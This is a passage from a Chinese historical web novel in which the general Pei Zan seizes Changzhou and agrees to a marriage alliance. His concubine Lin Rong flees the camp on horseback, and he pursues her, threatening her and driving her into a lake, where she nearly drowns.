从郑慧音这里,林蓉得知了,最多五日,裴瓒会在附近的军镇设宴,犒赏此番前线出力生还的将士。 后方营地,除了一些守营的新兵蛋子,其他有品阶军将,皆会听从上峰调遣,结队外出赴宴。 实在不想赴宴,也可以就地置筵炊饮,会有仆役送来美酒、荤肉,供兵卒们吃喝作乐。 郑慧音心知肚明。 这一次的庆功宴,也是裴瓒与吴冲正式交好的结盟宴。 于宴上,二人极有可能当众宣布联姻一事。 保不准裴瓒未来嫡妻也会受邀赴宴。 这种场合,郑慧音便不想林蓉入席受辱了。 林蓉还是留在后方营地,等裴瓒来接她吧。 林蓉不知郑慧音心中的弯弯绕儿,她听说此事,心里想的却是——后方军营守备森严,虽然他们不管束林蓉在营地里四处走动,但她的一举一动,皆会禀报给冯叔。林蓉压根儿就没有逃跑的机会……而过几日,军民普天同庆,营地里仅剩下一些饮酒作乐的兵丁,应是防守最松懈的时刻,连巡岗的兵卒都会放松警惕。 毕竟裴瓒夺辎擒俘,大获全胜,再没有敌军敢趁机袭营,攻其不备。 或许庆功宴的那一夜,就是林蓉逃出生天的好时机。 林蓉心中一动,既欢喜又紧张,她决不能错过这次筵席的机会。 林蓉不贪图锦衣玉食,不垂涎金银财宝,她的愿望很小,她只想和芝麻一起逃出生天,一起归野山林,过上自由自在的日子。 林蓉不会被人迫着行房,不会被裴瓒抓着侍奉,她不再身不由己,不再受困樊笼。 林蓉盼着苍天有眼,助她一回,能够让她心愿得偿。 三月底,秦王率领一干叛军攻上京城。 那几日,皇城受困,血流成渠,疮痍满目。 偏偏裴瓒这一支勤王之师胆敢抗旨不遵,竟藐视元庆帝下达的敕令,迟迟不肯入京驰援。 裴瓒身为裴家人,胆大妄为至此地步,居然能狠下心,将裴贵妃与二皇子陈逸山尽数舍弃于都城。 饶是皇帝再愚钝也回过味来……此子狼心狗肺!裴瓒这是要反! 元庆帝玩弄帝王心术多年,一直把持着朝堂制衡之道,他以为裴瓒重情,故意以裴贵妃的地位、性命、权势相要挟,镇压裴瓒这个封疆大吏,提防裴瓒生出叛心。 元庆帝心道裴瓒再如何殊死顽抗,也不过是想争权夺势,位极人臣。怎料他千算万算,竟没能算到裴瓒本性凉薄,他竟能狠心到舍弃整个裴家,只为了达成称王帝业! 此子野心勃勃,行事不择手段,倒真有几分君王风范。 元庆帝双目圆瞪,气得呕血,一口鲜血喷吐而出,被褥上濡红一片。 他恨得咬牙,想下令囚禁次子,赐死裴贵妃,以此平他的怨,平他的恨! 可元庆帝到底有所顾虑,他怕他的绝情反倒成了裴瓒发兵京城的借口! 到时候,裴瓒占据大义,便能以“为裴贵妃报仇雪恨”的由头,名正言顺攻打京城。 如今他还留在南地,至少威胁不到京师……好、好得很! 元庆帝召来大皇子陈文晋,他睁着一双沧桑老眼,在死前颁布了册立皇太子的诏书。 “吾儿聪敏宽明,克修合仪……今册立吾儿为大魏皇太子,授金宝玉册,替朕监国安邦,扶危定倾,诸司依旨遵奉,不得违忤。” 元庆帝将危如累卵的江山社稷,交到大儿子陈文晋的手上,那口郁结于胸的气儿便散了。 皇帝殡天,皇太子封锁宫闱,待他将二弟陈逸山暗杀于宅邸后,陈文晋又以谋逆重罪,将裴贵妃幽禁宫中,饶她一命。 陈文晋手下留情,无非是想用裴贵妃作为人质,诱裴瓒入京。 但很显然,裴瓒冷血残忍,他并不在意自家姑姑的生死,裴瓒将裴贵妃视为弃子,任陈文晋折辱、诛杀。 陈文晋惊讶于裴瓒的冷血无情,但他无暇顾及南地,只能放任裴瓒四处招募兵马,挑起兵乱。 秦王已攻入皇城,陈文晋的当务之急,便是将此等对王位虎视眈眈的佞党逐出京畿,再将王权重掌手中。 大魏病骨支离,风雨招摇,都城早已兵荒马乱,乱作一团。 裴瓒任其狗咬狗,并未理会。 有趣的是,在这般危急时刻,他竟还能收到“裴贵妃活着”的消息,想来是有人刻意与他递信,盼着裴瓒顾念旧情,以身涉险,冒死相救。 不论这封信是裴贵妃本人亲自递来的线报,还是皇太子陈文晋代笔谈和,裴瓒都不予回应。 军帐外火光冲天,艳如红霞。 裴瓒身披寒光甲胄出帐。 他肩背峭拔,傲骨嶙嶙,立于焰火之下。 裴瓒深思片刻,指尖抵唇,呼出一记厉哨。 马蹄声震天撼地,挟带滚滚沙尘,一抹雷霆乌云由远及近踏来,分明是疾驰而来的战马墨羽。 裴瓒单臂摁住马鞍,纵身上马,持紧了缰绳。 几只鹰隼鼓吻奋爪,环绕着裴瓒嘶唳。 裴瓒鹰视狼顾,一双凌厉的凤眼锐如霜刀,劈开昏暗的天色,扫向云层中展翅翱翔的几只黑隼。 这是裴瓒专为内廷往来递信熬的雄鹰。 眼下,裴瓒已经舍弃裴贵妃,他暴露本性,不再甘为犬马…… 思及至此,裴瓒冷目微眯,长臂一揽,将马背上挂着的一把弓力强盛的牛角弓,牢牢握进掌心。 裴瓒腕骨用力,以雷霆万钧之势,搭弓至满月,尖利的箭镞直指漆黑天穹,蓄势待发。 嗖——! 只听一箭破空锐响。 黑羽箭连珠一线,激射而出! 没一会儿,传来箭矢没入皮肉的钝响。 血浆迸裂,红雨落下。 那些如梅血珠,悉数染上裴瓒白皙如玉的颊侧,留下一道蜿蜒狰狞的红痕。 他漠然擦去脸上的血线,一双冷目无情,收起弓箭。 收弓的瞬间,那些盘旋的鹰隼见血封喉,被毒箭诛杀,簌簌落地。 马蹄如星流霆击,踏过地皮,裴瓒策马,扬长而去。 那些裴瓒豢养的黑鹰,落得个粉身碎骨的结局,它们遭人践踏,被那些势如破竹的骑兵队伍,碾为一滩滩塌皮烂骨的肉泥。 信鹰死了。 再无为裴贵妃送信的鹰隼。 裴瓒自行断了与京城的联系。 自此,裴家姑姑的死活,与他毫不相干。 裴瓒厌倦与裴家人虚与委蛇的日子,他亲手了结这一层血脉亲缘。 男人扯唇一笑,墨瞳冷若冰霜。 狠辣也好,薄情也罢。 这世上本就不存在能够让他记挂于心的人。 常州兵事频繁,烽火狼烟。 守城将领放飞信鸽鹰隼,数次往京城送去求援书信,盼着兵部送来辎重军需,盼着军将挟带皇帝授予的印绶,率军策应。 可他们等了好久,迟迟无人来常州联防。 信鹰还是一只只放出,飞往遥远的魏国都城。 说来也奇怪,按理说,城中散出这么多通风报信的鹰隼,围城的敌军见状,定会布下截杀箭阵,防止消息传出。 可偏偏,裴瓒按兵不动,任他们绞尽脑汁求生,无助绝望地求援…… 多日过去,刘将军再愚钝也明白,他们等不到援军了,没有人能救他们了。 京城一定出了事,皇亲宗室自顾不暇,又怎有闲心管他一个南地州府的死活。 一切尽在裴瓒掌握。 常州注定失守。 刘将军的唇皮皲裂,翕动不休。 他的肩背僵硬,心生不宁的情绪。 刘将军仰头望天,他看到瞭望塔上披坚执锐的士兵遇袭。 一支锐不可当的箭镞,迅猛贯穿了他的脑袋。 那名遇袭的士兵怒目圆瞪,头颅冒血,浆水四溅,如同一只伤鹰一般,直直坠地。 他死不瞑目,可他摔下箭塔,跌在了弟兄们的眼前,硬生生砸了个四分五裂。 看着兵卒血肉模糊的脸,众人惊恐地对视了一眼。 他们强压住心中的惊惧之意,继续推车、布阵,负隅顽抗。 看到遍地触目惊心的血色,刘将军怒不可遏,脑中的那一根紧绷的弦终是断了。 夜色黑沉,寒风凛冽。 他听着城外震耳欲聋的剧烈撞门声,他看着那一批斩杀不尽的爬城敌军。 他知道城中军将早已精疲力尽,他们弹尽粮绝,撑不过几日。 刘将军大喝一声,他抽出腰间弯刀,持刃上马。 他下定决心,与其忍饥挨饿战斗,不如拼死一搏! “弟兄们!随老子杀敌!!” 刘将军气吞山河地嘶吼,他手握杀气腾腾的长刀,一心要屠尽那些破城而入的敌军。 远处,裴家军攻城略地,来势汹汹,海沸山摇。 成千上万的黑甲军队,如同一条条铺天盖地的飓风洪流,悍烈地涌入城中。 裴家的兵马军容整肃,胯下战马亦膘肥体壮。 他们听从裴瓒的指挥,待破开城门后,各个手握染血长刀,长驱直入,横刀向外,无情地屠杀城中士兵。 这是一场几近碾压的战役,敌众我寡,刘将军毫无胜算。 但他不甘心,他身为将领,不可苟且偷生,自该以身报国,为护疆土万死不辞。 可他的君王弃他,可他的国家不保他……刘将军即便想死得其所,他也无家可归。 刘将军无计可施,心中既凄怆又绝望。他明白成王败寇的道理,他存了死志,奋勇杀敌,锐不可当。 只是下一瞬,一匹疾如奔雷的黑鬃骏马与他擦肩而过。 不过恍神了一瞬,清越的剑吟骤然响起,震耳发聩! 刘将军眼前一花,一柄顺势薄刃出鞘,银光游弋,晃进他的眼底。 剧烈的痛楚自颈上蔓延,腥风扑面,大片大片的鲜红血液自皮肉里喷薄而出。 刘将军捂住脖子,惊恐地回头,望向远处的一人一马。 冷风吹动男人纤长乌黑的发尾,血光点缀他巍峨如山的身影。他一手持剑,一手攥绳,周身气势威严,如同地狱涅槃的嗜血杀神。 “裴……瓒……” 刘将军体力不济,既痛苦又绝望地落下马背。 他瞪大眼眸,心有不甘,可他再也说不出话了,他丧失了所有力气,身体渐渐失温。 临死前,刘将军抬头望天。 他只看到那一串轻磕上冰凉剑柄的慈悲佛珠……以及裴瓒那双凌厉阴冷的凤眼。 擒贼先擒王,刘将军为守城主将。 他已死在裴瓒手中,群龙无首,余下的兵卒便不足为惧。 裴瓒漠然收刃,纵观战局,他心知敌军已露劣势,不堪一击。 攻下此城,常州便是他囊中之物。 裴瓒心中了然,他意气风发地拔旗,策马狂奔。 男人扬起遒劲健硕的臂膀,修长手指挟着一面被狂风舞得猎猎作响的旗帜,迅速插上巍然耸立的瞭望塔。 旗帜迎风招展,浓墨挥就的“裴”字在火光中摇曳不休。 裴瓒凤目含威,振臂高呼:“主将刘震已被本帅一剑斩杀,尔等再战,无疑是螳臂当车,不自量力。如尔等弃暗投明,缴械投降,本帅惜才,不但饶恕尔等不死,亦能保全诸将家人性命!” 听得裴瓒杀气腾腾的告诫,又远观那一面示威的敌旗,守城军的雄浑士气,在这一番威逼利诱之下,终是散得一干二净。 第一把长枪落地。 第二把、第三把、第四把军械……接连坠地。 敌军认输,俯首称臣。 此战是裴瓒胜了,胜得漂亮,令人心悦诚服。 第27章 裴家军攻城大捷, 常州的地方官吏,逃了一半,叛了一半, 留下的官员俱是见风使舵的墙头草。 他们屈于裴瓒淫威,愿意为裴瓒效犬马之劳, 得知裴瓒亲临主城, 急忙倒履相迎。 他们不但自掏腰包设宴款待军将, 还献上歌伎美婢, 以求笼络武臣,结个善缘。 裴瓒擅用人,他知朝堂运作, 不止提拔清吏贤臣,还需这等七窍玲珑心肝的能人弄臣, 用于维稳局势。 因此, 他并未拂人颜面, 反倒默许这些下臣, 尽其所能献谄上峰。 官员们专程在常州知州的府邸, 设下一场私宴, 专供裴瓒、吴冲, 以及那些高阶军官享用珍馐美馔。 庭院敞阔,重檐兽角, 廊庑底下堆满了一盆盆应时应季的奇花异草,凉风吹拂, 送来一丝花卉的雅香。 裴瓒坐于上首,紫檀木桌案前摆满了佳肴,如胡椒羊腿、烧鹅、炖鸽肉等等…… 裴瓒浅饮了一口美酒,凤眸微抬, 扫了厅堂一眼。 底下的部将家臣,一个个低头喝酒,偷偷觑裴瓒的脸色,大气不敢喘,浑身痒得厉害。 裴瓒扯了下唇:“不必在我跟前杵着,想去宴上玩乐便去吧。” 众人闻言,如蒙大赦,忙举杯给裴瓒敬了酒,强抑着欢喜,一前一后阔步迈出庭院。 私宴虽然酒好菜好,但军营里的大老粗还是不大乐意和裴瓒喝酒。 裴都督的酒宴寡淡,不请舞姬献舞,不揽温香软玉,下酒菜一样没有,就这么闷头喝,实在素得慌,还不敢坐姿不雅,冒犯上峰,屁股都要长刺了。 他们待不住,不如出去,和那些小兵划拳喝酒、观赏歌舞,来的痛快。 人跑空了,私宴一下子变得空荡。 偌大的厅堂,竟只剩下裴瓒与吴冲,还有一些陪同饮酒的文官。 吴冲比裴瓒年长十几岁,这次他仅仅献上庐州以及兵马,投诚裴瓒,并没有参与战事部署。 诸般军策战术,皆是裴瓒一人谋划。 吴冲袖手旁观,除却信赖之意,也有趁机考察裴瓒是否有君王之才的心思。 幸好,他们吴家赌对了,裴瓒骁勇善战,足智多谋,果真厉害。 倘若吴家能和裴瓒这样经天纬地的英才结盟,献女联姻,往后至少能保吴氏三代峥嵘。 吴冲心里已经盘算好了,如今常州一战落定,裴家兵马休养生息,也是时候将婚事提上日程。 “裴都督,昔日吴氏欲与你缔结秦晋之好,曾在数月前提出联姻一事,当时也得了你的应允。如今常州大捷,诸事顺遂,你看这婚事是不是该尽快操办起来?” 吴冲身为吴家的尊长,代表了庐州吴氏的体面,他要嫁堂房妹妹,往后便是裴瓒的妻兄,今日如此低声下气,主动和未来堂妹夫提起婚事,还真有点落颜面。 好在裴瓒知情识趣,并未桀骜拒绝。 他轻牵唇角,斟酒递给吴冲,淡道:“裴某既许过吴氏妻位,自当践诺。” 闻言,吴冲心潮澎湃,他豪放大笑,将那杯酒水一饮而尽。 “既如此,我也不与裴都督客套,咱们往后就是一家人,有话直说便是。吴家适婚的姑娘颇多,只可惜我大房唯有兄弟,并无胞妹、庶妹。倒是堂房的三妹、四妹、六妹乃是嫡出,才情与样貌也上佳,足够作配裴都督……” 要不是吴冲的亲爹死的早,连个庶妹都没给他生下,他又怎会把裴瓒往堂妹那边推? 但好在吴冲是吴家话事人,旁支也得仰他鼻息,也不怕旁房生出异心。 裴瓒闻言,不以为意地道:“既是结两姓之好,全凭吴兄安排便是。” 裴瓒主动唤吴冲为兄长,就是将他认成“妻兄”。 吴冲喜不自胜,不是他剃头担子一头热就行。 吴冲盘算了一会儿,他的心里其实已有人选。 六妹初及笄,年纪实在小了些,而裴瓒已经二十有七,不大合适。 四妹的生母徐氏出身大户,四妹自小被爹娘养得骄纵任性,日后嫁到裴家,怕是有的磨。 而三妹已有十八岁,因母族出身不算好,乃是良妾抬的妻位,婚事有些艰难。但胜在她性子圆滑,为人处世也八面玲珑,长袖善舞。 最难得的是,三妹生得貌美,宛如出水洛神,定能笼络住裴瓒! 毕竟男人哪个不爱美人?吴冲与裴瓒联姻,为的是绑住裴瓒,不是来给他送贤妻的。 吴冲心里有了打算,他笑着对裴瓒道:“既如此,那便定下我家三妹妹吧。” 裴瓒前脚还应得痛快,后脚又缄默不语,一双眉眼清淡,拇指轻抚腕上乌色念珠。 吴冲心里咯噔一声,不免犹疑地问了句:“可是三妹妹有何不妥?” “吴兄多虑,裴某心知,吴家教女有方,家中姑娘自是闺英闱秀,德容兼备。” 裴瓒细细摩挲蝎纹描金酒樽,慢条斯理地道,“只一点,裴某后宅里养了个丫头,她性子愚钝,不通规矩,怕是会开罪高门贵女。此女伴我多年,虽呆傻了些,到底留有旧情。裴某亦是俗人,只盼着家宅安宁,少动些干戈,还望吴家小姐日后过门,能忍她一二,莫要怪罪她笨口拙舌,难登大雅之堂。” 此话一出,莫说吴冲了,便是远处几个竖着耳朵旁听上峰说话的官吏都心里一惊。 吴冲惊讶地看了裴瓒一眼……他没听说裴瓒有什么宠爱的姬妾啊?哪里又冒出一个侍寝的丫头来了? 男子三妻四妾倒算不得什么,令吴冲诧异的是,裴瓒这样杀伐果决的人物,竟会为了护着一个小小的姬妾,特意来敲打他! 裴瓒看着好说话,随便吴冲献上哪个吴氏女,甚至自贬那名姬妾,给她冠上“愚钝不堪”的恶评。 可这招“以退为进”,恰恰证明了裴瓒对她的疼爱。 裴瓒偷偷抬举这名宠妾,给她做脸,亦事先提醒吴冲,日后嫁进裴府的嫡妻,定要容下这一房宠妾,不可拈酸吃醋,给他生事。 吴冲心头不过是生出一丝波澜,但很快便被他压制下去。 吴家如今能沾上裴瓒,无非是此前聪慧,投诚得早,这才有资格与裴家联姻……若他放弃,那想嫁给裴瓒的好女成千上万,哪里轮得到他的三堂妹? 既如此,他又怎敢拂了裴瓒的颜面? 不过是想找个大度些的嫡妻嘛……这还不简单,待会儿吴冲亲自提醒三堂妹一番便是,想来三妹吴念珍知道裴家门第多高,为了结成这门好亲,自当任裴瓒予取予求。 亲事定了,吴冲一身轻松。 只待几日后,两家设宴相看、合算八字,再将婚期拟定,吴冲和裴瓒就是一条船上的人了。 裴瓒应下亲事后,没有再与吴冲寒暄。 他静静饮酒,一双冷目凝于桌上那一碟鹿肉。 裴瓒想起此前与他乘车同行的林蓉…… 他本以为林蓉被强掳上车,定会闹上几日的脾气,绝食抗议,污言唾骂。 哪知林蓉性子憨傻乖巧,她受了委屈也不哭不闹,不过在角落里瘫了一天,就自个儿纾解了所有燥郁的情绪。 第二天醒来,林蓉不但敢和裴瓒讨食,还会三不五时问他一些有关风土民俗的闲话。 什么攻打倭寇时,是不是要乘坐龙骨大船? 什么山中打猎,能不能猎来鹿肉? 鹿肉的滋味如何?比之羊肉、猪肉呢? 裴瓒嫌她话多,十句里答上一句。 每逢夜里,林蓉睡相不好,抻胳膊踢腿也便罢了,还敢胆大妄为滚进裴瓒那一片逶迤于地的宽袖衣摆。 林蓉惶恐不安,她捏着他的袖袍,知道旁边有人,才敢继续入睡。 睡着的林蓉眼睫颤如蝶翼,檀口红唇微开,蜷曲手脚,佝偻脊背,如同一只重伤的小兽。 明明伤痕累累,却对他毫不设防。 倒是好欺。 如此愚钝的女子,遇上个厉害的正妻,怕是得被人拆吃得骨头不剩。 今日裴瓒提点吴冲,虽言辞夹枪带棒,暗藏对未来正妻的不敬,但也算履了“护住林蓉”的旧诺……如此莽撞,倒不像他,权当给林蓉一个恩典吧。 …… 裴瓒回神。 他望向那一碟子已经凉透了的鹿肉。 “这条鹿腿烤得不错,再去切些筋肉,取油纸包好,送至本官案前。” 裴瓒取帕子净手,清茶漱口,起身离席。 军营,灯火阑珊。 已是深夜时分,巡哨的军将们俱是喝得烂醉,歪七竖八躺着休息。 灶房里还有一帮弟兄喝酒猜拳,你推我搡,闹作一团。 今日的宴席,郑慧音也跟着郑至明去了主城,唯有林蓉留在营地。 好在军将们待林蓉很是恭敬,知她是裴都督房里人,不敢冒犯,就连夜食也专程分出几个碗碟,送到帐子里供她吃喝。 林蓉没什么胃口,她挑了几样烤肉,包进油纸,藏到怀中。 趁着月黑风高,人烟稀疏,林蓉换上方便骑马的窄袖胡服,悄无声息地溜出了帐篷。 她谨小慎微,没有点燃火把,反而是摸黑往前走。 好在林蓉方向感好,她记下藏东西的地方,挖出了自己的包袱。 林蓉把软乎乎的包袱背到身上,又鬼鬼祟祟钻进马厩里,解开了芝麻的缰绳。 林蓉摸了摸马鼻子,小声说:“芝麻,我们往北边跑,你别喊别叫,咱俩都悄悄的。” 林蓉牵马前行,她绕开那些防御敌军的拒马阵,钻出了军营。 每走一步,林蓉都提心吊胆,大气不敢喘,但好在一路平安无事,并没有人来抓她。 想想也是,裴瓒在外行军打战,如今又夺得了偌大的常州。就是林蓉再蠢也知道,裴瓒佣兵数万,攻城略地,那可是谋逆重罪!偏大少爷胆大,他竟干成了! 好乖乖,林蓉活这么大,至多听说过二夫人和大夫人争夺掌家中馈的明争暗斗,哪里懂什么造反谋国的大事。 如今的裴瓒,在旁人眼里,可是南地的土皇帝! 能给皇帝当妾,多好的事儿,林蓉怎么可能不感恩戴德?所以没人能猜到林蓉要跑,就连她自己也会恍惚一瞬,扪心自问……留下来享受荣华富贵,不好吗?至少不用为奴为婢,不必为生计发愁。 可是。 可是…… 林蓉闭了闭眼,深深吸气,爬上了芝麻的马背。 她一抖缰绳,马蹄哒哒,好似离弦之箭,朝前疾驰而去。 林蓉甩开了身后一顶顶羊皮毡帐。 那些鼎沸人声、黄澄烟火、美酒佳肴,都被林蓉弃在身后。 芝麻在平原上驰骋,飞溅起脏兮兮的泥点、沙石,就连刮来的夜风都冷冽如刃,刀剐一般,割得林蓉脸颊生疼。 幽蓝色的夜空中,悬着一轮浩大明华的圆月。 月光普照大地,林蓉伏低身子,黑鸦鸦的发髻上,艳红丝绦高高扬起,随风飘荡。 她被芝麻驮着,像一尾灵活的小鱼,在绿油油的草浪间游动。 林蓉无比惬意,无比自在,她感受四面八方吹拂的风,她看着星垂平野,远山辽阔,一望无垠。 林蓉笑了,她活过来了。 她无比确信,她不想回到裴瓒的身边。 她不想受困牢笼,每日只倚仗夫主的宠爱。 裴瓒疼她一时,她就能有被人嘘寒问暖的好日子过。 裴瓒冷她一时,她就要任他弃如敝履,肆意欺压。 她不想过这样的日子,她想做自己的主。 林蓉骑着马儿,感受喧嚣的凉风。 她要一路向北,去无需路引的边境,去无人管束的沙城。 只要逃出这里,她会有辽阔的天地,也会有任她翱翔的苍穹。 而现在,林蓉终于逃出来了。 第28章 夜半时分, 有了落雨的迹象。 湿漉漉的山雾渺若烟云,遮蔽月华,将归途掩进黑暗中。 乌云压顶, 荒草丛生,男人跃马扬鞭, 自荒山野岭迅疾穿行。 夜风拂面, 吹动裴瓒那一身广袖黑袍, 玄色衣摆如蝶翩跹, 胯下骑着的那一匹战马墨羽亦扬鬃奔腾,疾如飓风。 待裴瓒抵达营地的时候,挂在马鞍上的那包鹿肉, 仍留有余温。 裴瓒翻身下马,看了一眼醉倒在地的兵卒们, 他刚想斥责一句军纪松散, 又想到今夜的宴是他所设…… 好酒贪杯, 纵情酒色。 实在人之常情。 裴瓒拧了拧眉心, 终是什么都没说。 裴瓒又往前两步, 远远看到那一顶供林蓉安睡的军帐。 帐中漆黑, 没有燃灯……算了算时辰, 林蓉许是已经睡下。 裴瓒撩帘入帐,借着浅淡月光环顾四周, 依稀还是他离开时的样子。 红木箱笼堆叠帐角,桌案上的文书也分门别类, 归置齐整,帐中一应用具都干净整洁,没有散落一地。 榻上仍是那几床轻薄的锦被……洗过几次,被罩上还残留皂豆的清香。 林蓉即便一个人居住, 也不敢僭越规矩,乱翻乱动裴瓒的衣物被褥。 裴瓒眉峰舒缓,直到他看到那一盆无烟银炭。 炭盆里仅剩下一些白色灰烬,并无星火……林蓉畏寒,每逢他命人置下炭盆,她总会偷偷挪近,挨到火盆旁边取暖。 还没入夏,山麓寒凉。帐中无灯,又没燃炭,林蓉究竟去了哪里? 裴瓒的指骨微紧,目光骤冷,他掷下那包鹿肉,转身阔步出帐。 郑慧音赴宴归来,捧着一包咸肉酥饼,屁颠颠跑来军帐,想与林蓉分食。 她远远看到黑衣黑骑的裴瓒,心中咯噔一声,下意识后撤半步。 裴瓒却寒着脸,一双凤目虎视鹰瞵,阴沉地扫向她,“林蓉在何处?” 郑慧音心中畏惧裴瓒,她皱眉:“蓉儿不在帐中吗?” 裴瓒轻扯嘴角,一丝澎湃的怒意,自心肺轰然涌出,他驭马靠近郑慧音,手中紧攥马鞭,居高临下地逼问她。 “再问你一遍,林蓉在何处?” 裴瓒是长年征战的武将,冷脸问话时,身上自带一种崇山压顶的沉抑感,令人腿骨发软。 郑慧音再如何擅武,也不过是个养在帐中的小姑娘。 她畏惧阴晴不定的裴瓒,忙道:“我真的不知道……” 裴瓒已然持鞭上前,凶戾睥她,如看死人:“不怕我将你那层面皮剐下来,你就继续欺瞒。” 郑慧音心中一惊,电光石火间,她高声喊道:“芝麻……蓉儿和芝麻都不见了!” 裴瓒拧眉:“何为芝麻?” “一匹马!就是、就是墨羽之前和野马乱配,生出的那匹杂毛马!” 裴瓒心中明白了七七八八,他的脸色铁青,薄唇紧抿,怒极反笑。 “滚!”裴瓒拧腕扬鞭,一记悍烈凶鞭下去,直将郑慧音撩进一侧泥地里。 郑慧音一时不察,被那一记来势汹汹的鞭子狠狠抽中小腿,跌进草垛子里。腿上骤然浮起一条肿痕,疼得郑慧音龇牙咧嘴,体面全无。 郑慧音顾不上身上污泥,急忙翻身避让,她看着裴瓒策马离去的高大背影,气得咬牙大骂:“裴瓒你这个疯子!一回营就发病!!” 天色渐暗,薄雾冥冥。 林蓉已经在山川原野里跋涉许久,唯有月光和星子照路。 片刻后,乌云遮住了霜月,繁星时隐时现,四周堕入伸手不见五指的黑暗,唯有马蹄拨动草叶的沙沙碎响。 林蓉不敢停下,她深知裴瓒的阴险,她不敢掉以轻心。 林蓉要竭尽全力赶路,尽量逃得更远一点,即便她的眼睛被风吹到干涩,腿侧也被马鞍磨破了一层皮,浑身都酸痛无力。 待林蓉穿过一片河畔荒滩,她忽然听到了另一道急促的马蹄声由远及近。 林蓉吓了一跳。 她的肩背僵硬,双目迟滞,凝神分辨那些古怪的异响……兴许只是野兽穿林,兴许只是林木里的回音,兴许只是她累到极致出现了幻听。 林蓉心中千回百转,麻木而惊惧地猜测着,她默默安慰自己,可即便如此,林蓉还是伏低了身子,以防万一,轻夹了下马腹,无助地哀求芝麻快跑。 “跑!快跑!不要停下!” 她不敢回头! 直到一支黑羽箭,杀势凛冽地撕裂夜幕,朝着林蓉呼啸而来! 锋锐的铁箭猝不及防袭向女孩,贴脸而过,如冷刃一般狠狠擦过她的颊肉,就此削下了几根飞扬的乌发…… 在看到那一支煞气腾腾的长箭时,林蓉心中的欢喜与侥幸,悉数破灭。 她知道,是追兵来了! 林蓉猛然回头,她看到惊心动魄的一幕,顿时吓得肝胆惧寒。 林蓉的脑袋发木,劈颅溅髓似的,疼得她两眼发黑。 云翳吞没的月夜,远远奔来一匹威烈强劲的骏马。 马背上坐着一名盛气凌人的男子,他的纤长发尾轻晃,一袭黑衣摇曳,犹如嗜血弑杀的地狱阎罗。 男人舍弃缰绳,游刃有余地控马。一手攥牛角强弓,一手搭箭拉弦,箭指林蓉眉心。 竟是裴瓒! 裴瓒一双凤目沉冷,如抑狂风骤雨,几欲将人蚕食殆尽。他微抬下颌,几条青色脉络被怒意逼得鼓噪,触目惊心地横陈于颈上。 “林蓉!”裴瓒克制滔天怒火,嗓音冰冷严寒,对林蓉下达最后通牒。 “再跑一步,我杀了你!” 林蓉急忙转头,她下意识摸上脸颊,感受方才急箭擦脸的痛意。 她深知裴瓒心狠手辣,他没有在说笑……她出逃失败,反被裴瓒擒住,定要受他的责难,受他的欺辱。 一条背主的家犬。 一个叛逃的姬妾。 一个无关紧要的玩意儿…… 无论哪句话,都足以宣判她的死期。 林蓉没有活路了啊! 她杏眸圆瞪,她呼吸骤紧,一股寒意自凹陷的腰窝,不断攀升,直至蔓延后颈,逼得她发根竖立,头皮发麻。 林蓉不愿停下,她用力一拍马臀:“跑!” 她给芝麻下达命令,这是她最后一次求生! 芝麻与林蓉心意相通,它自然知道身后危险重重,马蹄急促,一人一马加快了奔逃的速度。 裴瓒在后紧追不舍,林蓉被他逼进了水草密布的湖滩。 林蓉深知远处便是深不可测的湖心,可她无路可退,不敢停下,也不能停下。 一旦落马,她就会被裴瓒擒住,迎接她的是镣铐、是屠刀、是无边无际的黑暗、是身不由己的苦难……她会生不如死,她要为自己搏一搏! 裴瓒杀心毕露,他并没有想放林蓉一马的意思。 何其可笑,他为了一名微不足道的婢子,竟在大庭广众之下,开罪盟友,给自己冠上一个“宠妾灭妻”的荒诞恶名。 他自认对林蓉有几分偏袒,待她不薄,可她虚与委蛇,竟敢生出叛心。 裴瓒想到那一只只被他困在帐中的鹰隼……他熬鹰的手段狠戾,比起断水断粮,他甚至敢折翅断骨,只为驯服。 养不熟么?不够痛罢了。 裴瓒微微阖目,再度抬臂,肩背挺直,拉开了那一把强弓。 嗖——! 黑羽箭破风而出,风驰霆击,直袭向林蓉骑着的那一匹杂毛马。 只听得一声凄厉惨烈的马嘶传来,骇得人心脏发颤,震耳发聩! 霎时间,马臀皮开肉绽,鲜血散开,溢满湖面。 林蓉被受伤的芝麻颠下马背,冷不防跌进湖滩之中。 她浑身浸湿,手脚落地,疼得倒吸凉气。 林蓉顾不上自己的安危,她抬眸一看,观察芝麻的伤势。那支箭矢已然斜刺入马臀,贯穿了那一层皮肉……长箭挂在肉里,摇摇欲坠。 芝麻的四蹄没有受伤,它似是知道林蓉还跌在湖里,竟还想忍疼来驮她! 林蓉心里发酸,她也知道裴瓒的打算……若她还敢骑马,他定会一箭射杀芝麻! 裴瓒是杀人如麻的恶鬼,他决不会手下留情! 林蓉并不想害死芝麻,她咬紧下唇,下达指令:“跑!不要过来!芝麻,你跑!” 林蓉猛地一摔马鞭,抽到芝麻的颈上,将它轰远。 随后,她迅速起身,手脚并用,往湖泊深处爬去。 林蓉已经落马,但她逃心深重,竟还敢跑! 裴瓒看着她弃马遁逃的动作,额头青筋微跳,气得发笑。 裴瓒的耐心告罄,他恶意横生,要挟她:“敢涉水一步,我会杀了你。” 裴瓒说到做到,他这腔高炽的火气无处纾解,恨不得将人挫骨扬灰。 若林蓉乖顺,从湖中爬回来,他还能给她一个全尸;若她性烈,非要与他拧着,那便试试看何为折骨断颈,求死不能。 裴瓒的胁迫,林蓉并非听不到。 她不过是无计可施,不过是不想不愿! 她从前在裴府为奴为婢,从不敢忤逆主命,今日逃亡,已经算胆大妄为之举。 可她爬出来过,她看过圆月、赏过湖泊,她获得过自由,又怎愿回到那个逼仄可怖的牢笼里,任裴瓒磋磨。 林蓉畏水,她疲惫地逃跑。 她没了退路,心中只有无穷无尽的绝望。 漫天如蝗箭雨,一支支无比锐利的箭镞,急速射进湖潮之中。 裴瓒箭术超绝,他不过玩弄林蓉。 每一支黑羽箭都不伤她肺腑、四肢、脖颈,恰到好处地避开她的要害,只迫着林蓉后退一步、再一步。 可林蓉毫不领情,她没空陪裴瓒游戏。 她不管不顾,不惧受伤,她朝着水流湍急的湖心游去,继而猛地扎进水里。 林蓉不会泅泳,她畏水,她好累。 在口鼻涌进湖水的瞬间,林蓉惊恐地想起了儿时的事。 她看到了伪善的父亲,看到了骂她“赔钱货”的家人,她看到他们用手摁住她的颅顶,将她往深不见底的湖里压下去。 去死! 去死! 去死啊——! 林蓉呛了水,胸口疼得难受,几欲裂开。 她明明决心赴死,但她想到从前扫雪劳累时抬头看到的一树火炽梅花,想到从前离开裴府看到的烟火人间,想到骑着芝麻在原野奔跑的快意……她其实根本不想死! 